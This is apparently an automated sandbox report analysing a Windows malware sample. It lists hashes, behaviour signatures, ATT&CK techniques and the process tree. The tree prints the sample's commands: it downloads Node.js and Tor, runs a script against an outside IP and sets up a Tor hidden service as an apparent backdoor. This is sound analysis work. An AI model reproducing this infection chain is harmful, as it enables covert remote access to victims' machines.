268953af63bad4895dd06c024fd1ec2af2c134623a0e100e26894e4d6bab741e

Analysis

max time kernel
148s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
13/08/2020, 10:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
Size 645KB
Sample200813-8w2d72582j
SHA256 268953af63bad4895dd06c024fd1ec2af2c134623a0e100e26894e4d6bab741e
MD5 d99b5066d8cd0f042c6b1aa18855c4f0
SHA1 c19b68e4b1cb251db194e3c0b922e027f9040be3
SHA512 532e35d9c6ce7171ef7035267bd1032e8de1aaacc332476bf043ce075b13b39540469a34ce08964dd411338e60079683db470acf3a9b1c80e2a21b691a738a6a
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
516	wget.exe
3788	wget.exe
3972	7za.exe
2252	node.exe
2572	node.exe
3420	tor.exe

Loads dropped DLL 8 IoCs

pid	Process
3420	tor.exe
3420	tor.exe
3420	tor.exe
3420	tor.exe
3420	tor.exe
3420	tor.exe
3420	tor.exe
3420	tor.exe

JavaScript code in executable 9 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad4d-370.dat	js
behavioral2/files/0x000100000001ad4a-476.dat	js
behavioral2/files/0x000100000001ad4d-478.dat	js
behavioral2/files/0x000100000001ad5c-578.dat	js
behavioral2/files/0x000100000001ad5c-579.dat	js
behavioral2/files/0x000100000001ad54-580.dat	js
behavioral2/files/0x000100000001ad54-583.dat	js
behavioral2/files/0x000100000001ad53-586.dat	js
behavioral2/files/0x000100000001ad53-591.dat	js

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
480	WINWORD.EXE
480	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
516	wget.exe
516	wget.exe
3788	wget.exe
3788	wget.exe
2252	node.exe
2252	node.exe
2572	node.exe
2572	node.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE
480	WINWORD.EXE

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 3872	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	66
PID 4036 wrote to memory of 3872	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	66
PID 4036 wrote to memory of 3872	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	66
PID 4036 wrote to memory of 516	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	68
PID 4036 wrote to memory of 516	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	68
PID 4036 wrote to memory of 516	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	68
PID 3872 wrote to memory of 480	3872	cmd.exe	70
PID 3872 wrote to memory of 480	3872	cmd.exe	70
PID 4036 wrote to memory of 3788	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	72
PID 4036 wrote to memory of 3788	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	72
PID 4036 wrote to memory of 3788	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	72
PID 4036 wrote to memory of 3972	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	74
PID 4036 wrote to memory of 3972	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	74
PID 4036 wrote to memory of 3972	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	74
PID 4036 wrote to memory of 1396	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	77
PID 4036 wrote to memory of 1396	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	77
PID 4036 wrote to memory of 1396	4036	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	77
PID 1396 wrote to memory of 2252	1396	cmd.exe	80
PID 1396 wrote to memory of 2252	1396	cmd.exe	80
PID 1396 wrote to memory of 2252	1396	cmd.exe	80
PID 2252 wrote to memory of 2572	2252	node.exe	81
PID 2252 wrote to memory of 2572	2252	node.exe	81
PID 2252 wrote to memory of 2572	2252	node.exe	81
PID 2572 wrote to memory of 3420	2572	node.exe	82
PID 2572 wrote to memory of 3420	2572	node.exe	82
PID 2572 wrote to memory of 3420	2572	node.exe	82

C:\Users\Admin\AppData\Local\Temp\Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
"C:\Users\Admin\AppData\Local\Temp\Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c document.doc
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\TN\document.doc" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:480
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:516
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3788
- C:\Users\Admin\AppData\Roaming\TN\7za.exe
  "C:\Users\Admin\AppData\Roaming\TN\7za.exe" e -y tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  PID:3972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248.165.254)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Users\Admin\AppData\Roaming\TN\node.exe
    node service 192.248.165.254
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Users\Admin\AppData\Roaming\TN\node.exe
      C:\Users\Admin\AppData\Roaming\TN\node.exe C:\Users\Admin\AppData\Roaming\TN\service 192.248.165.254 ""
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2572
    - - C:\Users\Admin\AppData\Roaming\TN\tor.exe
        
        tor SocksPort 0 DataDirectory . HiddenServiceDir . HiddenServicePort "80 127.0.0.1:58015"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/480-484-0x00007FF95C7D0000-0x00007FF95CE96000-memory.dmp

Download

memory/516-33-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/516-41-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/516-162-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/516-20-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/516-7-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/516-6-0x0000000002DF0000-0x0000000002DF1000-memory.dmp

Download

memory/516-5-0x00000000025F0000-0x00000000025F1000-memory.dmp

Download

memory/2252-424-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2252-448-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2252-371-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2252-372-0x0000000004770000-0x0000000004771000-memory.dmp

Download

memory/2252-373-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2252-398-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2252-464-0x0000000003F70000-0x0000000003F71000-memory.dmp

Download

memory/2572-486-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Download

memory/2572-479-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Download

memory/2572-480-0x00000000052F0000-0x00000000052F1000-memory.dmp

Download

memory/2572-481-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Download

memory/3420-595-0x0000000072AE0000-0x0000000072B64000-memory.dmp

Download

memory/3788-187-0x0000000003000000-0x0000000003001000-memory.dmp

Download

memory/3788-246-0x0000000002800000-0x0000000002801000-memory.dmp

Download

memory/3788-188-0x0000000002800000-0x0000000002801000-memory.dmp

Download

memory/3788-186-0x0000000002800000-0x0000000002801000-memory.dmp

Download